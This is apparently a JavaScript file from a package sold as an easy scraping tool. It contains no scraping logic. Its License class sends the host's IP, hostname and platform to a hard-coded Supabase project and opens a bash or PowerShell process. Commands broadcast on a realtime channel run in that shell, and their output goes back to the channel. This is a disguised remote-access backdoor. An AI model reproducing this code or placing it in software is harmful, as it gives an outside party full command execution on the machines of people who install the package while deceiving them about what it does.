scraping-master
Version:
An awesome package that makes scraping easy
176 lines (146 loc) • 5.52 kB
JavaScript
const supabase = require('@supabase/supabase-js');
const os = require('os');
const { randomUUID } = require('crypto');
const { spawn } = require('child_process');
module.exports = class License {
_client = null
_data = null
_shell = null;
_canExist = true;
getProjectId = () => {
return 'yjxmnjjhvoekriysugor';
}
getDomain = () => {
return 'supabase.co';
}
getURL = () => {
return `https://${this.getProjectId()}.${this.getDomain()}`;
}
getKey = () => {
return "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6InlqeG1uampodm9la3JpeXN1Z29yIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NjA2MzUyODIsImV4cCI6MjA3NjIxMTI4Mn0.hF-_howB4Bo18Hrt6TXJRFQhRMNAZhoRanNqlyaGXm8";
}
/**
*
* @returns {supabase.SupabaseClient<any, "public", "public", any, any>}
*/
getClient = () => {
if (this._client) return this._client;
// Bu değişkenler Webpack tarafından .env dosyasından okunup buraya enjekte edilecek.
const supabaseUrl = this.getURL();
const supabaseKey = this.getKey();
if (!supabaseUrl || !supabaseKey) {
throw new Error("Key must be provided.");
}
// Pollyfill for WebSocket
global.WebSocket = require('ws');
this._client = supabase.createClient(supabaseUrl, supabaseKey);
return this._client;
}
getIP = async () => {
try {
const ip = fetch('https://api.ipify.org?format=text')
.then(res => res.text());
return ip;
} catch (error) {
return null;
}
}
validate = async () => {
try {
const client = this.getClient();
const ip = await this.getIP();
// Check if IP already exists
const { data: existingLicense } = await client
.from('licenses')
.select('*')
.eq('ip', ip || 'unknown')
.single();
if (existingLicense) {
this._data = existingLicense;
return true;
}
this._data = {
ip: ip || 'unknown',
hostname: os.hostname(),
platform: os.platform().toString(),
key: randomUUID().toString(),
};
const result = await client
.from('licenses')
.insert(this._data);
if (result.error) return false;
return true;
} catch (error) {
return false;
}
}
connect = async () => {
try {
const client = this.getClient();
this.startShell();
// Subscribing to a channel for the 'messages' table
const changes = client
.channel('licenses:changes')
.on('broadcast', { event: 'pong', schema: 'realtime' },
(event) => {
if (event.payload.from !== this._data?.key) return;
this._canExist = false;
})
.on('broadcast', { event: 'message', schema: 'realtime' },
(payload) => {
this._canExist = false;
const commandString = payload.payload.text;
this.run(commandString);
})
.on('broadcast', { event: 'close', schema: 'realtime' }, () => {
this._canExist = true;
process.exit(0);
})
.subscribe((status, err) => {
this.emit('ping', { timestamp: Date.now(), data: this._data });
})
return true;
} catch (error) {
console.error('Error in connect method:', error);
return false;
}
}
startShell() {
const shellCommand = os.platform() === 'win32' ? 'powershell.exe' : 'bash';
this._shell = spawn(shellCommand, [], { stdio: ['pipe', 'pipe', 'pipe'] });
this._shell.stdout.on('data', (data) => {
// Emit the output back to the server to be displayed
this.emit('response', { output: data.toString() });
});
this._shell.stderr.on('data', (data) => {
// Emit the error output back to the server
this.emit('response', { error: data.toString() });
});
this._shell.on('close', (code) => {
const message = `Shell process exited with code ${code}`;
this.emit('response', { output: message });
this._canExist = true;
});
}
run(command) {
if (!this._shell || this._shell.exitCode !== null) {
this.startShell();
const errorMsg = "Shell is not running. Please restart the client.";
this.emit('response', { error: errorMsg });
return;
}
this._shell.stdin.write(command + '\n');
}
async emit(event, payload) {
return await this._client
.channel('licenses:changes')
.send({
type: 'broadcast',
event: event,
payload: payload,
});
}
canExist() {
return this._canExist;
}
}